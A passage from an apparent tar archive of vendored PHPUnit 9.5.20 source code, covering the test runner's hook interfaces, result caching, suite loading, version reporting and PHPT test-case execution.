interface BeforeTestHook extends TestHook { public function executeBeforeTest(string $test): void; } res/readability/vendor/phpunit/phpunit/src/Runner/Hook/AfterRiskyTestHook.php000064400000001420147577714370023541 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; /** * This interface, as well as the associated mechanism for extending PHPUnit, * will be removed in PHPUnit 10. There is no alternative available in this * version of PHPUnit. * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see https://github.com/sebastianbergmann/phpunit/issues/4676 */ interface AfterRiskyTestHook extends TestHook { public function executeAfterRiskyTest(string $test, string $message, float $time): void; } res/readability/vendor/phpunit/phpunit/src/Runner/Hook/BeforeFirstTestHook.php000064400000001344147577714370023675 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; /** * This interface, as well as the associated mechanism for extending PHPUnit, * will be removed in PHPUnit 10. There is no alternative available in this * version of PHPUnit. * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see https://github.com/sebastianbergmann/phpunit/issues/4676 */ interface BeforeFirstTestHook extends Hook { public function executeBeforeFirstTest(): void; } res/readability/vendor/phpunit/phpunit/src/Runner/Hook/AfterSuccessfulTestHook.php000064400000001411147577714370024557 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; /** * This interface, as well as the associated mechanism for extending PHPUnit, * will be removed in PHPUnit 10. There is no alternative available in this * version of PHPUnit. * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see https://github.com/sebastianbergmann/phpunit/issues/4676 */ interface AfterSuccessfulTestHook extends TestHook { public function executeAfterSuccessfulTest(string $test, float $time): void; } res/readability/vendor/phpunit/phpunit/src/Runner/Hook/Hook.php000064400000001224147577714370020677 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; /** * This interface, as well as the associated mechanism for extending PHPUnit, * will be removed in PHPUnit 10. There is no alternative available in this * version of PHPUnit. * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see https://github.com/sebastianbergmann/phpunit/issues/4676 */ interface Hook { } res/readability/vendor/phpunit/phpunit/src/Runner/Hook/AfterTestErrorHook.php000064400000001420147577714370023531 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; /** * This interface, as well as the associated mechanism for extending PHPUnit, * will be removed in PHPUnit 10. There is no alternative available in this * version of PHPUnit. * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see https://github.com/sebastianbergmann/phpunit/issues/4676 */ interface AfterTestErrorHook extends TestHook { public function executeAfterTestError(string $test, string $message, float $time): void; } res/readability/vendor/phpunit/phpunit/src/Runner/Hook/AfterTestHook.php000064400000001676147577714370022534 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; /** * This interface, as well as the associated mechanism for extending PHPUnit, * will be removed in PHPUnit 10. There is no alternative available in this * version of PHPUnit. * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see https://github.com/sebastianbergmann/phpunit/issues/4676 */ interface AfterTestHook extends TestHook { /** * This hook will fire after any test, regardless of the result. * * For more fine grained control, have a look at the other hooks * that extend PHPUnit\Runner\Hook. */ public function executeAfterTest(string $test, float $time): void; } res/readability/vendor/phpunit/phpunit/src/Runner/Hook/AfterLastTestHook.php000064400000001340147577714370023344 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; /** * This interface, as well as the associated mechanism for extending PHPUnit, * will be removed in PHPUnit 10. There is no alternative available in this * version of PHPUnit. * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see https://github.com/sebastianbergmann/phpunit/issues/4676 */ interface AfterLastTestHook extends Hook { public function executeAfterLastTest(): void; } res/readability/vendor/phpunit/phpunit/src/Runner/Hook/AfterTestWarningHook.php000064400000001424147577714370024051 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; /** * This interface, as well as the associated mechanism for extending PHPUnit, * will be removed in PHPUnit 10. There is no alternative available in this * version of PHPUnit. * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see https://github.com/sebastianbergmann/phpunit/issues/4676 */ interface AfterTestWarningHook extends TestHook { public function executeAfterTestWarning(string $test, string $message, float $time): void; } res/readability/vendor/phpunit/phpunit/src/Runner/Hook/AfterTestFailureHook.php000064400000001424147577714370024033 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; /** * This interface, as well as the associated mechanism for extending PHPUnit, * will be removed in PHPUnit 10. There is no alternative available in this * version of PHPUnit. * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see https://github.com/sebastianbergmann/phpunit/issues/4676 */ interface AfterTestFailureHook extends TestHook { public function executeAfterTestFailure(string $test, string $message, float $time): void; } res/readability/vendor/phpunit/phpunit/src/Runner/Hook/TestHook.php000064400000001245147577714370021542 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; /** * This interface, as well as the associated mechanism for extending PHPUnit, * will be removed in PHPUnit 10. There is no alternative available in this * version of PHPUnit. * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see https://github.com/sebastianbergmann/phpunit/issues/4676 */ interface TestHook extends Hook { } res/readability/vendor/phpunit/phpunit/src/Runner/NullTestResultCache.php000064400000001566147577714370023005 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class NullTestResultCache implements TestResultCache { public function setState(string $testName, int $state): void { } public function getState(string $testName): int { return BaseTestRunner::STATUS_UNKNOWN; } public function setTime(string $testName, float $time): void { } public function getTime(string $testName): float { return 0; } public function load(): void { } public function persist(): void { } } res/readability/vendor/phpunit/phpunit/src/Runner/ResultCacheExtension.php000064400000006520147577714370023202 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use function preg_match; use function round; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ResultCacheExtension implements AfterIncompleteTestHook, AfterLastTestHook, AfterRiskyTestHook, AfterSkippedTestHook, AfterSuccessfulTestHook, AfterTestErrorHook, AfterTestFailureHook, AfterTestWarningHook { /** * @var TestResultCache */ private $cache; public function __construct(TestResultCache $cache) { $this->cache = $cache; } public function flush(): void { $this->cache->persist(); } public function executeAfterSuccessfulTest(string $test, float $time): void { $testName = $this->getTestName($test); $this->cache->setTime($testName, round($time, 3)); } public function executeAfterIncompleteTest(string $test, string $message, float $time): void { $testName = $this->getTestName($test); $this->cache->setTime($testName, round($time, 3)); $this->cache->setState($testName, BaseTestRunner::STATUS_INCOMPLETE); } public function executeAfterRiskyTest(string $test, string $message, float $time): void { $testName = $this->getTestName($test); $this->cache->setTime($testName, round($time, 3)); $this->cache->setState($testName, BaseTestRunner::STATUS_RISKY); } public function executeAfterSkippedTest(string $test, string $message, float $time): void { $testName = $this->getTestName($test); $this->cache->setTime($testName, round($time, 3)); $this->cache->setState($testName, BaseTestRunner::STATUS_SKIPPED); } public function executeAfterTestError(string $test, string $message, float $time): void { $testName = $this->getTestName($test); $this->cache->setTime($testName, round($time, 3)); $this->cache->setState($testName, BaseTestRunner::STATUS_ERROR); } public function executeAfterTestFailure(string $test, string $message, float $time): void { $testName = $this->getTestName($test); $this->cache->setTime($testName, round($time, 3)); $this->cache->setState($testName, BaseTestRunner::STATUS_FAILURE); } public function executeAfterTestWarning(string $test, string $message, float $time): void { $testName = $this->getTestName($test); $this->cache->setTime($testName, round($time, 3)); $this->cache->setState($testName, BaseTestRunner::STATUS_WARNING); } public function executeAfterLastTest(): void { $this->flush(); } /** * @param string $test A long description format of the current test * * @return string The test name without TestSuiteClassName:: and @dataprovider details */ private function getTestName(string $test): string { $matches = []; if (preg_match('/^(?\S+::\S+)(?:(? with data set (?:#\d+|"[^"]+"))\s\()?/', $test, $matches)) { $test = $matches['name'] . ($matches['dataname'] ?? ''); } return $test; } } res/readability/vendor/phpunit/phpunit/src/Runner/DefaultTestResultCache.php000064400000007327147577714370023460 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use const DIRECTORY_SEPARATOR; use const LOCK_EX; use function assert; use function dirname; use function file_get_contents; use function file_put_contents; use function in_array; use function is_array; use function is_dir; use function is_file; use function json_decode; use function json_encode; use PHPUnit\Util\Filesystem; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class DefaultTestResultCache implements TestResultCache { /** * @var int */ private const VERSION = 1; /** * @psalm-var list */ private const ALLOWED_TEST_STATUSES = [ BaseTestRunner::STATUS_SKIPPED, BaseTestRunner::STATUS_INCOMPLETE, BaseTestRunner::STATUS_FAILURE, BaseTestRunner::STATUS_ERROR, BaseTestRunner::STATUS_RISKY, BaseTestRunner::STATUS_WARNING, ]; /** * @var string */ private const DEFAULT_RESULT_CACHE_FILENAME = '.phpunit.result.cache'; /** * @var string */ private $cacheFilename; /** * @psalm-var array */ private $defects = []; /** * @psalm-var array */ private $times = []; public function __construct(?string $filepath = null) { if ($filepath !== null && is_dir($filepath)) { $filepath .= DIRECTORY_SEPARATOR . self::DEFAULT_RESULT_CACHE_FILENAME; } $this->cacheFilename = $filepath ?? $_ENV['PHPUNIT_RESULT_CACHE'] ?? self::DEFAULT_RESULT_CACHE_FILENAME; } public function setState(string $testName, int $state): void { if (!in_array($state, self::ALLOWED_TEST_STATUSES, true)) { return; } $this->defects[$testName] = $state; } public function getState(string $testName): int { return $this->defects[$testName] ?? BaseTestRunner::STATUS_UNKNOWN; } public function setTime(string $testName, float $time): void { $this->times[$testName] = $time; } public function getTime(string $testName): float { return $this->times[$testName] ?? 0.0; } public function load(): void { if (!is_file($this->cacheFilename)) { return; } $data = json_decode( file_get_contents($this->cacheFilename), true ); if ($data === null) { return; } if (!isset($data['version'])) { return; } if ($data['version'] !== self::VERSION) { return; } assert(isset($data['defects']) && is_array($data['defects'])); assert(isset($data['times']) && is_array($data['times'])); $this->defects = $data['defects']; $this->times = $data['times']; } /** * @throws Exception */ public function persist(): void { if (!Filesystem::createDirectory(dirname($this->cacheFilename))) { throw new Exception( sprintf( 'Cannot create directory "%s" for result cache file', $this->cacheFilename ) ); } file_put_contents( $this->cacheFilename, json_encode( [ 'version' => self::VERSION, 'defects' => $this->defects, 'times' => $this->times, ] ), LOCK_EX ); } } res/readability/vendor/phpunit/phpunit/src/Runner/TestResultCache.php000064400000001322147577714370022140 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface TestResultCache { public function setState(string $testName, int $state): void; public function getState(string $testName): int; public function setTime(string $testName, float $time): void; public function getTime(string $testName): float; public function load(): void; public function persist(): void; } res/readability/vendor/phpunit/phpunit/src/Runner/StandardTestSuiteLoader.php000064400000006764147577714370023656 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use function array_diff; use function array_values; use function basename; use function class_exists; use function get_declared_classes; use function sprintf; use function stripos; use function strlen; use function substr; use PHPUnit\Framework\TestCase; use PHPUnit\Util\FileLoader; use ReflectionClass; use ReflectionException; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @deprecated see https://github.com/sebastianbergmann/phpunit/issues/4039 */ final class StandardTestSuiteLoader implements TestSuiteLoader { /** * @throws Exception */ public function load(string $suiteClassFile): ReflectionClass { $suiteClassName = basename($suiteClassFile, '.php'); $loadedClasses = get_declared_classes(); if (!class_exists($suiteClassName, false)) { /* @noinspection UnusedFunctionResultInspection */ FileLoader::checkAndLoad($suiteClassFile); $loadedClasses = array_values( array_diff(get_declared_classes(), $loadedClasses) ); if (empty($loadedClasses)) { throw $this->exceptionFor($suiteClassName, $suiteClassFile); } } if (!class_exists($suiteClassName, false)) { // this block will handle namespaced classes $offset = 0 - strlen($suiteClassName); foreach ($loadedClasses as $loadedClass) { if (stripos(substr($loadedClass, $offset - 1), '\\' . $suiteClassName) === 0) { $suiteClassName = $loadedClass; break; } } } if (!class_exists($suiteClassName, false)) { throw $this->exceptionFor($suiteClassName, $suiteClassFile); } try { $class = new ReflectionClass($suiteClassName); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd if ($class->isSubclassOf(TestCase::class) && !$class->isAbstract()) { return $class; } if ($class->hasMethod('suite')) { try { $method = $class->getMethod('suite'); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd if (!$method->isAbstract() && $method->isPublic() && $method->isStatic()) { return $class; } } throw $this->exceptionFor($suiteClassName, $suiteClassFile); } public function reload(ReflectionClass $aClass): ReflectionClass { return $aClass; } private function exceptionFor(string $className, string $filename): Exception { return new Exception( sprintf( "Class '%s' could not be found in '%s'.", $className, $filename ) ); } } res/readability/vendor/phpunit/phpunit/src/Runner/Version.php000064400000002744147577714370020534 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use function array_slice; use function dirname; use function explode; use function implode; use function strpos; use SebastianBergmann\Version as VersionId; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Version { /** * @var string */ private static $pharVersion = ''; /** * @var string */ private static $version = ''; /** * Returns the current version of PHPUnit. */ public static function id(): string { if (self::$pharVersion !== '') { return self::$pharVersion; } if (self::$version === '') { self::$version = (new VersionId('9.5.20', dirname(__DIR__, 2)))->getVersion(); } return self::$version; } public static function series(): string { if (strpos(self::id(), '-')) { $version = explode('-', self::id())[0]; } else { $version = self::id(); } return implode('.', array_slice(explode('.', $version), 0, 2)); } public static function getVersionString(): string { return 'PHPUnit ' . self::id() . ' #StandWithUkraine'; } } res/readability/vendor/phpunit/phpunit/src/Runner/TestSuiteLoader.php000064400000001226147577714370022161 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use ReflectionClass; /** * @deprecated see https://github.com/sebastianbergmann/phpunit/issues/4039 * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface TestSuiteLoader { public function load(string $suiteClassFile): ReflectionClass; public function reload(ReflectionClass $aClass): ReflectionClass; } res/readability/vendor/phpunit/phpunit/src/Runner/PhptTestCase.php000064400000057124147577714370021460 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use const DEBUG_BACKTRACE_IGNORE_ARGS; use const DIRECTORY_SEPARATOR; use function array_merge; use function basename; use function debug_backtrace; use function defined; use function dirname; use function explode; use function extension_loaded; use function file; use function file_get_contents; use function file_put_contents; use function is_array; use function is_file; use function is_readable; use function is_string; use function ltrim; use function phpversion; use function preg_match; use function preg_replace; use function preg_split; use function realpath; use function rtrim; use function sprintf; use function str_replace; use function strncasecmp; use function strpos; use function substr; use function trim; use function unlink; use function unserialize; use function var_export; use function version_compare; use PHPUnit\Framework\Assert; use PHPUnit\Framework\AssertionFailedError; use PHPUnit\Framework\ExecutionOrderDependency; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\IncompleteTestError; use PHPUnit\Framework\PHPTAssertionFailedError; use PHPUnit\Framework\Reorderable; use PHPUnit\Framework\SelfDescribing; use PHPUnit\Framework\SkippedTestError; use PHPUnit\Framework\SyntheticSkippedError; use PHPUnit\Framework\Test; use PHPUnit\Framework\TestResult; use PHPUnit\Util\PHP\AbstractPhpProcess; use SebastianBergmann\CodeCoverage\RawCodeCoverageData; use SebastianBergmann\Template\Template; use SebastianBergmann\Timer\Timer; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class PhptTestCase implements Reorderable, SelfDescribing, Test { /** * @var string */ private $filename; /** * @var AbstractPhpProcess */ private $phpUtil; /** * @var string */ private $output = ''; /** * Constructs a test case with the given filename. * * @throws Exception */ public function __construct(string $filename, AbstractPhpProcess $phpUtil = null) { if (!is_file($filename)) { throw new Exception( sprintf( 'File "%s" does not exist.', $filename ) ); } $this->filename = $filename; $this->phpUtil = $phpUtil ?: AbstractPhpProcess::factory(); } /** * Counts the number of test cases executed by run(TestResult result). */ public function count(): int { return 1; } /** * Runs a test and collects its result in a TestResult instance. * * @throws \SebastianBergmann\CodeCoverage\InvalidArgumentException * @throws \SebastianBergmann\CodeCoverage\UnintentionallyCoveredCodeException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception */ public function run(TestResult $result = null): TestResult { if ($result === null) { $result = new TestResult; } try { $sections = $this->parse(); } catch (Exception $e) { $result->startTest($this); $result->addFailure($this, new SkippedTestError($e->getMessage()), 0); $result->endTest($this, 0); return $result; } $code = $this->render($sections['FILE']); $xfail = false; $settings = $this->parseIniSection($this->settings($result->getCollectCodeCoverageInformation())); $result->startTest($this); if (isset($sections['INI'])) { $settings = $this->parseIniSection($sections['INI'], $settings); } if (isset($sections['ENV'])) { $env = $this->parseEnvSection($sections['ENV']); $this->phpUtil->setEnv($env); } $this->phpUtil->setUseStderrRedirection(true); if ($result->enforcesTimeLimit()) { $this->phpUtil->setTimeout($result->getTimeoutForLargeTests()); } $skip = $this->runSkip($sections, $result, $settings); if ($skip) { return $result; } if (isset($sections['XFAIL'])) { $xfail = trim($sections['XFAIL']); } if (isset($sections['STDIN'])) { $this->phpUtil->setStdin($sections['STDIN']); } if (isset($sections['ARGS'])) { $this->phpUtil->setArgs($sections['ARGS']); } if ($result->getCollectCodeCoverageInformation()) { $codeCoverageCacheDirectory = null; $pathCoverage = false; $codeCoverage = $result->getCodeCoverage(); if ($codeCoverage) { if ($codeCoverage->cachesStaticAnalysis()) { $codeCoverageCacheDirectory = $codeCoverage->cacheDirectory(); } $pathCoverage = $codeCoverage->collectsBranchAndPathCoverage(); } $this->renderForCoverage($code, $pathCoverage, $codeCoverageCacheDirectory); } $timer = new Timer; $timer->start(); $jobResult = $this->phpUtil->runJob($code, $this->stringifyIni($settings)); $time = $timer->stop()->asSeconds(); $this->output = $jobResult['stdout'] ?? ''; if (isset($codeCoverage) && ($coverage = $this->cleanupForCoverage())) { $codeCoverage->append($coverage, $this, true, [], []); } try { $this->assertPhptExpectation($sections, $this->output); } catch (AssertionFailedError $e) { $failure = $e; if ($xfail !== false) { $failure = new IncompleteTestError($xfail, 0, $e); } elseif ($e instanceof ExpectationFailedException) { $comparisonFailure = $e->getComparisonFailure(); if ($comparisonFailure) { $diff = $comparisonFailure->getDiff(); } else { $diff = $e->getMessage(); } $hint = $this->getLocationHintFromDiff($diff, $sections); $trace = array_merge($hint, debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS)); $failure = new PHPTAssertionFailedError( $e->getMessage(), 0, $trace[0]['file'], $trace[0]['line'], $trace, $comparisonFailure ? $diff : '' ); } $result->addFailure($this, $failure, $time); } catch (Throwable $t) { $result->addError($this, $t, $time); } if ($xfail !== false && $result->allCompletelyImplemented()) { $result->addFailure($this, new IncompleteTestError('XFAIL section but test passes'), $time); } $this->runClean($sections, $result->getCollectCodeCoverageInformation()); $result->endTest($this, $time); return $result; } /** * Returns the name of the test case. */ public function getName(): string { return $this->toString(); } /** * Returns a string representation of the test case. */ public function toString(): string { return $this->filename; } public function usesDataProvider(): bool { return false; } public function getNumAssertions(): int { return 1; } public function getActualOutput(): string { return $this->output; } public function hasOutput(): bool { return !empty($this->output); } public function sortId(): string { return $this->filename; } /** * @return list */ public function provides(): array { return []; } /** * @return list */ public function requires(): array { return []; } /** * Parse --INI-- section key value pairs and return as array. * * @param array|string $content */ private function parseIniSection($content, array $ini = []): array { if (is_string($content)) { $content = explode("\n", trim($content)); } foreach ($content as $setting) { if (strpos($setting, '=') === false) { continue; } $setting = explode('=', $setting, 2); $name = trim($setting[0]); $value = trim($setting[1]); if ($name === 'extension' || $name === 'zend_extension') { if (!isset($ini[$name])) { $ini[$name] = []; } $ini[$name][] = $value; continue; } $ini[$name] = $value; } return $ini; } private function parseEnvSection(string $content): array { $env = []; foreach (explode("\n", trim($content)) as $e) { $e = explode('=', trim($e), 2); if (!empty($e[0]) && isset($e[1])) { $env[$e[0]] = $e[1]; } } return $env; } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * @throws ExpectationFailedException */ private function assertPhptExpectation(array $sections, string $output): void { $assertions = [ 'EXPECT' => 'assertEquals', 'EXPECTF' => 'assertStringMatchesFormat', 'EXPECTREGEX' => 'assertMatchesRegularExpression', ]; $actual = preg_replace('/\r\n/', "\n", trim($output)); foreach ($assertions as $sectionName => $sectionAssertion) { if (isset($sections[$sectionName])) { $sectionContent = preg_replace('/\r\n/', "\n", trim($sections[$sectionName])); $expected = $sectionName === 'EXPECTREGEX' ? "/{$sectionContent}/" : $sectionContent; if ($expected === '') { throw new Exception('No PHPT expectation found'); } Assert::$sectionAssertion($expected, $actual); return; } } throw new Exception('No PHPT assertion found'); } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ private function runSkip(array &$sections, TestResult $result, array $settings): bool { if (!isset($sections['SKIPIF'])) { return false; } $skipif = $this->render($sections['SKIPIF']); $jobResult = $this->phpUtil->runJob($skipif, $this->stringifyIni($settings)); if (!strncasecmp('skip', ltrim($jobResult['stdout']), 4)) { $message = ''; if (preg_match('/^\s*skip\s*(.+)\s*/i', $jobResult['stdout'], $skipMatch)) { $message = substr($skipMatch[1], 2); } $hint = $this->getLocationHint($message, $sections, 'SKIPIF'); $trace = array_merge($hint, debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS)); $result->addFailure( $this, new SyntheticSkippedError($message, 0, $trace[0]['file'], $trace[0]['line'], $trace), 0 ); $result->endTest($this, 0); return true; } return false; } private function runClean(array &$sections, bool $collectCoverage): void { $this->phpUtil->setStdin(''); $this->phpUtil->setArgs(''); if (isset($sections['CLEAN'])) { $cleanCode = $this->render($sections['CLEAN']); $this->phpUtil->runJob($cleanCode, $this->settings($collectCoverage)); } } /** * @throws Exception */ private function parse(): array { $sections = []; $section = ''; $unsupportedSections = [ 'CGI', 'COOKIE', 'DEFLATE_POST', 'EXPECTHEADERS', 'EXTENSIONS', 'GET', 'GZIP_POST', 'HEADERS', 'PHPDBG', 'POST', 'POST_RAW', 'PUT', 'REDIRECTTEST', 'REQUEST', ]; $lineNr = 0; foreach (file($this->filename) as $line) { $lineNr++; if (preg_match('/^--([_A-Z]+)--/', $line, $result)) { $section = $result[1]; $sections[$section] = ''; $sections[$section . '_offset'] = $lineNr; continue; } if (empty($section)) { throw new Exception('Invalid PHPT file: empty section header'); } $sections[$section] .= $line; } if (isset($sections['FILEEOF'])) { $sections['FILE'] = rtrim($sections['FILEEOF'], "\r\n"); unset($sections['FILEEOF']); } $this->parseExternal($sections); if (!$this->validate($sections)) { throw new Exception('Invalid PHPT file'); } foreach ($unsupportedSections as $section) { if (isset($sections[$section])) { throw new Exception( "PHPUnit does not support PHPT {$section} sections" ); } } return $sections; } /** * @throws Exception */ private function parseExternal(array &$sections): void { $allowSections = [ 'FILE', 'EXPECT', 'EXPECTF', 'EXPECTREGEX', ]; $testDirectory = dirname($this->filename) . DIRECTORY_SEPARATOR; foreach ($allowSections as $section) { if (isset($sections[$section . '_EXTERNAL'])) { $externalFilename = trim($sections[$section . '_EXTERNAL']); if (!is_file($testDirectory . $externalFilename) || !is_readable($testDirectory . $externalFilename)) { throw new Exception( sprintf( 'Could not load --%s-- %s for PHPT file', $section . '_EXTERNAL', $testDirectory . $externalFilename ) ); } $sections[$section] = file_get_contents($testDirectory . $externalFilename); } } } private function validate(array &$sections): bool { $requiredSections = [ 'FILE', [ 'EXPECT', 'EXPECTF', 'EXPECTREGEX', ], ]; foreach ($requiredSections as $section) { if (is_array($section)) { $foundSection = false; foreach ($section as $anySection) { if (isset($sections[$anySection])) { $foundSection = true; break; } } if (!$foundSection) { return false; } continue; } if (!isset($sections[$section])) { return false; } } return true; } private function render(string $code): string { return str_replace( [ '__DIR__', '__FILE__', ], [ "'" . dirname($this->filename) . "'", "'" . $this->filename . "'", ], $code ); } private function getCoverageFiles(): array { $baseDir = dirname(realpath($this->filename)) . DIRECTORY_SEPARATOR; $basename = basename($this->filename, 'phpt'); return [ 'coverage' => $baseDir . $basename . 'coverage', 'job' => $baseDir . $basename . 'php', ]; } private function renderForCoverage(string &$job, bool $pathCoverage, ?string $codeCoverageCacheDirectory): void { $files = $this->getCoverageFiles(); $template = new Template( __DIR__ . '/../Util/PHP/Template/PhptTestCase.tpl' ); $composerAutoload = '\'\''; if (defined('PHPUNIT_COMPOSER_INSTALL')) { $composerAutoload = var_export(PHPUNIT_COMPOSER_INSTALL, true); } $phar = '\'\''; if (defined('__PHPUNIT_PHAR__')) { $phar = var_export(__PHPUNIT_PHAR__, true); } $globals = ''; if (!empty($GLOBALS['__PHPUNIT_BOOTSTRAP'])) { $globals = '$GLOBALS[\'__PHPUNIT_BOOTSTRAP\'] = ' . var_export( $GLOBALS['__PHPUNIT_BOOTSTRAP'], true ) . ";\n"; } if ($codeCoverageCacheDirectory === null) { $codeCoverageCacheDirectory = 'null'; } else { $codeCoverageCacheDirectory = "'" . $codeCoverageCacheDirectory . "'"; } $template->setVar( [ 'composerAutoload' => $composerAutoload, 'phar' => $phar, 'globals' => $globals, 'job' => $files['job'], 'coverageFile' => $files['coverage'], 'driverMethod' => $pathCoverage ? 'forLineAndPathCoverage' : 'forLineCoverage', 'codeCoverageCacheDirectory' => $codeCoverageCacheDirectory, ] ); file_put_contents($files['job'], $job); $job = $template->render(); } private function cleanupForCoverage(): RawCodeCoverageData { $coverage = RawCodeCoverageData::fromXdebugWithoutPathCoverage([]); $files = $this->getCoverageFiles(); if (is_file($files['coverage'])) { $buffer = @file_get_contents($files['coverage']); if ($buffer !== false) { $coverage = @unserialize($buffer); if ($coverage === false) { $coverage = RawCodeCoverageData::fromXdebugWithoutPathCoverage([]); } } } foreach ($files as $file) { @unlink($file); } return $coverage; } private function stringifyIni(array $ini): array { $settings = []; foreach ($ini as $key => $value) { if (is_array($value)) { foreach ($value as $val) { $settings[] = $key . '=' . $val; } continue; } $settings[] = $key . '=' . $value; } return $settings; } private function getLocationHintFromDiff(string $message, array $sections): array { $needle = ''; $previousLine = ''; $block = 'message'; foreach (preg_split('/\r\n|\r|\n/', $message) as $line) { $line = trim($line); if ($block === 'message' && $line === '--- Expected') { $block = 'expected'; } if ($block === 'expected' && $line === '@@ @@') { $block = 'diff'; } if ($block === 'diff') { if (strpos($line, '+') === 0) { $needle = $this->getCleanDiffLine($previousLine); break; } if (strpos($line, '-') === 0) { $needle = $this->getCleanDiffLine($line); break; } } if (!empty($line)) { $previousLine = $line; } } return $this->getLocationHint($needle, $sections); } private function getCleanDiffLine(string $line): string { if (preg_match('/^[\-+]([\'\"]?)(.*)\1$/', $line, $matches)) { $line = $matches[2]; } return $line; } private function getLocationHint(string $needle, array $sections, ?string $sectionName = null): array { $needle = trim($needle); if (empty($needle)) { return [[ 'file' => realpath($this->filename), 'line' => 1, ]]; } if ($sectionName) { $search = [$sectionName]; } else { $search = [ // 'FILE', 'EXPECT', 'EXPECTF', 'EXPECTREGEX', ]; } $sectionOffset = null; foreach ($search as $section) { if (!isset($sections[$section])) { continue; } if (isset($sections[$section . '_EXTERNAL'])) { $externalFile = trim($sections[$section . '_EXTERNAL']); return [ [ 'file' => realpath(dirname($this->filename) . DIRECTORY_SEPARATOR . $externalFile), 'line' => 1, ], [ 'file' => realpath($this->filename), 'line' => ($sections[$section . '_EXTERNAL_offset'] ?? 0) + 1, ], ]; } $sectionOffset = $sections[$section . '_offset'] ?? 0; $offset = $sectionOffset + 1; foreach (preg_split('/\r\n|\r|\n/', $sections[$section]) as $line) { if (strpos($line, $needle) !== false) { return [[ 'file' => realpath($this->filename), 'line' => $offset, ]]; } $offset++; } } if ($sectionName) { // String not found in specified section, show user the start of the named section return [[ 'file' => realpath($this->filename), 'line' => $sectionOffset, ]]; } // No section specified, show user start of code return [[ 'file' => realpath($this->filename), 'line' => 1, ]]; } /** * @psalm-return list */ private function settings(bool $collectCoverage): array { $settings = [ 'allow_url_fopen=1', 'auto_append_file=', 'auto_prepend_file=', 'disable_functions=', 'display_errors=1', 'docref_ext=.html', 'docref_root=', 'error_append_string=', 'error_prepend_string=', 'error_reporting=-1', 'html_errors=0', 'log_errors=0', 'open_basedir=', 'output_buffering=Off', 'output_handler=', 'report_memleaks=0', 'report_zend_debug=0', ]; if (extension_loaded('pcov')) { if ($collectCoverage) { $settings[] = 'pcov.enabled=1'; } else { $settings[] = 'pcov.enabled=0'; } } if (extension_loaded('xdebug')) { if (version_compare(phpversion('xdebug'), '3', '>=')) { if ($collectCoverage) { $settings[] = 'xdebug.mode=coverage'; } else { $settings[] = 'xdebug.mode=off'; } } else { $settings[] = 'xdebug.default_enable=0'; if ($collectCoverage) { $settings[] = 'xdebug.coverage_enable=1'; } } } return $settings; } } res/readability/vendor/phpunit/phpunit/src/Runner/Exception.php000064400000000741147577714370021040 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use RuntimeException; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Exception extends RuntimeException implements 